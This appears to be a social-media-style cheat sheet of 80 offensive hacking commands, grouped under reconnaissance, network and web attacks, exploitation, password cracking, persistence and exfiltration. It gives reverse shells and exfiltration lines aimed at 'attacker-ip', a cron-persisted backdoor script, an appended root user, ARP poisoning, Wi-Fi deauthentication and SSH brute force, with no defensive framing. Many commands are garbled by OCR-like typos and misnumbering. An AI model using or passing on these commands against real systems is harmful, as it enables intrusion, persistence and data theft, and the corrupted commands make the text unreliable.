

10 RECONNAISSANCE COMMANDS

1. whois target.com – Get domain registration info
2. nslookup target.com – Retrieve DNS records
3. dig target.com – Get detailed DNS information
4. nmap -A target.com – Scan open ports & services
5. theHarvester -d target.com -b google – Collect emails & subdomains
6. traceroute target.com – Track network hops
7. dnsenum target.com – Enumerate DNS records
8. sublist3r -d target.com – Find subdomains
9. wget –spider -r target.com – Crawl website for hidden pages
10. whatweb target.com – Identify website technologies



10 NETWORK HACKING COMMANDS

11, arp -a – View ARP cache to detect MITM attacks

12, ettercap -T -M arp -i eth0 – Launch ARP poisoning attack

13, airodump-ng wlan0mon – Monitor WiFi traffic

14, aireplay-ng -0 10 -a BSSID wlan0mon – Deauthentication attack

15, macchanger -r wlan0 – Change MAC address

16, hping3 -5 target.com -p 50 – Perform advanced network scan

17, tcpdump -i eth0 – Capture network traffic

18. nc -zv target.com 22 – Check if a port is open

19. ifconfig wlan0 down & iwconfig wlan0 mode monitor – Enable monitor mode

20. ssisstrip – Intercept HTTPS traffic



10 WEB HACKING COMMANDS

- 
21. sqimap -u "http://target.com?id=1" – dbs – Detect SQL injection
 22. wfuzz -c -z file wordlist.txt – hc 404 http://target.com/FU22 – Find hidden directories
 23. nikto -h http://target.com – Scan web servers for vulnerabilities
 24. xsser -u "http://target.com/search.php?q=<script>alert(1)</script>" – Test for XSS
 25. cewl -w words,bit http://target.com – Generate a wordlist from website content
 26. gobuster dir -u http://target.com -w wordlist.txt – Brute-force directories
 27. davtest -url http://target.com – Test for WebDAV misconfigurations
 28. wpscan –url target.com – Scan WordPress vulnerabilities
 29. feroxbuster -u http://target.com -w wordlist.rxt – Directory brute-force
 30. curl -s http://target.com | grep "admin" – Find admin panels



10 EXPLOITATION & PRIVILEGE ESCALATION COMMANDS

31. mstconsole – Launch Metasploit

32. searchsploit apache – Find public exploits

33. nc -lvp 4444 – Start a reverse shell listener

34. nc -e /bin/bash attacker-ip 4444 – Establish a reverse shell

35. sudo -l – Check sudo privileges

35. find / -perm -4000 2>/dev/null – Find SUID binaries

37. uname -a – Get system information

38. cat /etc/passwd – View system users

39. strings /bin/su | grep -i password – Find hardcoded credentials

40. bash -l > /dev/tcp/attacker-ip/4444 0>&1 – Create a backdoor

10 PASSWORD CRACKING COMMANDS

- 41. john --wordlist=rockyou.txt hash.bit – Crack hashes with John the Ripper
- 42. hashcat -m 0 -a 0 hash.txt rockyou.txt – Crack hashes with Hashcat
- 43. hydrid -l admin -P passwords.txt ssh://target.com – Brute-force SSH login
- 44. unshadow /etc/passwd /etc/shadow :~combined,urt – Extract password hashes
- 45. cewl -w words.txt https://target.com – Create a wordlist from a website
- 46. cat /etc/shadow – View hashed passwords (root access required)
- 47. zip2john protected.zip > hash.txt – Extract ZIP file hash
- 48. pdfcrack -f protected.pdf -w wordlist.txt – Crack PDF passwords
- 49. openssl passwd -1 password123 – Generate hashed password
- 50. gpg –decrypt file.gpg – Decrypt GPG-encrypted files



10 PERSISTENCE TECHNIQUES

51. echo "bash -i >& /dey/tcp/attacker-ip/4444 O>&1" > /tmp/backdoor.sh – Create a backdoor
52. chmod +x /tmp/backdoonsh && nohup /tmp/backdoor sh & – Run backdoor persistently
53. echo "/5 * * * * root /tmp/backdoor.sh" >> /etc/crontab – Maintain persistence with cron
54. echo "hacker:x:0c/root/bin/bash" >> /etc/pdsswd – Create a root user
55. iptables -A INPUT -s 1.2.3.4 -j DROP – Block an IP
56. ssh -R 8080:127.0.0.1:80 user@attacker.com – Reverse SSH tunnel
57. rsync -avz /folder user@target.com:/backup/ – Exfiltrate data
58. wget –mirror http://target.com – Clone a website
59. chattr +l /etc/passwd – Prevent user modifications
60. ps aux | grep process – Find hidden processes



10 TUNNELING & EXFILTRATION COMMANDS

61. `scp file.txt user@target.com:/home/user/ -`

Secure file transfer

62. `tar czf - /directory | nc attacker-ip 1234` – Transfer files via netcat

63. `iptables -L` – View firewall rules

64. `iptables -F` – Flush all firewall rules

65. `nc -w 3 attacker-ip 4444 < file.txt` – Exfiltrate data with netcat

66. `base64 file.txt` – Encode data for exfiltration

67. `shred -u file.txt` – Securely delete files

68. `dd if=/dev/sda of=/dev/sdb` – Clone a hard drive

69. `lsattr -a` – View hidden file attributes

70. `chattr -l file.txt` – Remove file immutability



10 ADVANCED HACKING COMMANDS

- 71. strace -p 1234 – Trace system calls
- 72. dmesg | tail – View system logs
- 73. find / -name "password" 2>/dev/null – Search for sensitive files
- 74. history | grep ssh – Check command history for credentials
- 75. crontab -e – Modify cron jobs for persistence
- 76. iptables -I INPUT -s attacker-ip -) ACCEPT – Whitelist an IP
- 77. chmod 777 /unp/exploit – Set full permissions for exploit execution
- 78. find / -perm -u=s -type f 2>/dev/null – Identify exploitable binaries
- 79. echo "newpassword" | passwd – stdin root – Change root password
- 80. cat /proc/cpuinfo – Gather CPU details

